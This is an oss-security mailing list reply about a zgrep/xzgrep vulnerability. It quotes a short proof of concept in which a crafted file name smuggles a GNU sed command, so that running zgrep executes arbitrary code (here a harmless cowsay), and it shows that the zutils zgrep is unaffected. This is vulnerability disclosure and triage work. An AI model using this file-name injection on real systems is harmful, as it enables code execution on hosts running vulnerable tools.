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Date: Fri, 8 Apr 2022 11:18:12 +0200
From: Axel Beckert <abe@...xchevaux.org>
To: oss-security@...ts.openwall.com
Subject: Re: zgrep, xzgrep: arbitrary-file-write vulnerability
Hi,
On Fri, Apr 08, 2022 at 10:23:29AM +0200, Jakub Wilk wrote:
> As mentioned in the xz patch, if you have GNU sed, you get not just file
> write, but direct code execution.
Ouch.
> PoC:
>
> $ touch foo.gz
> $ echo foo | gzip > "$(printf '|\n;e cowsay pwned\n#.gz')"
> $ zgrep foo *.gz
> _______
> < pwned >
> -------
> \ ^__^
> \ (oo)\_______
> (__)\ )\/\
> ||----w |
> || ||
> foo
JFTR, if you have replaced GNU's zgrep with zgrep from zutils
(https://www.nongnu.org/zutils/zutils.html; allows to use z* tools
with many compression formats, also mixed in a single command), then
this exploit does not work:
abe@c6:~/tmp/zgrep-PoC $ touch foo.gz
abe@c6:~/tmp/zgrep-PoC $ echo foo | gzip > "$(printf '|\n;e cowsay pwned\n#.gz')"
abe@c6:~/tmp/zgrep-PoC $ zgrep foo *.gz
|
;e cowsay pwned
#.gz:foo
abe@c6:~/tmp/zgrep-PoC $ zgrep.gzip foo *.gz
_______
< pwned >
-------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
foo
abe@c6:~/tmp/zgrep-PoC $ dpkg -S /bin/zgrep
diversion by zutils from: /bin/zgrep
diversion by zutils to: /bin/zgrep.gzip
gzip, zutils: /bin/zgrep
abe@c6:~/tmp/zgrep-PoC
Kind regards, Axel
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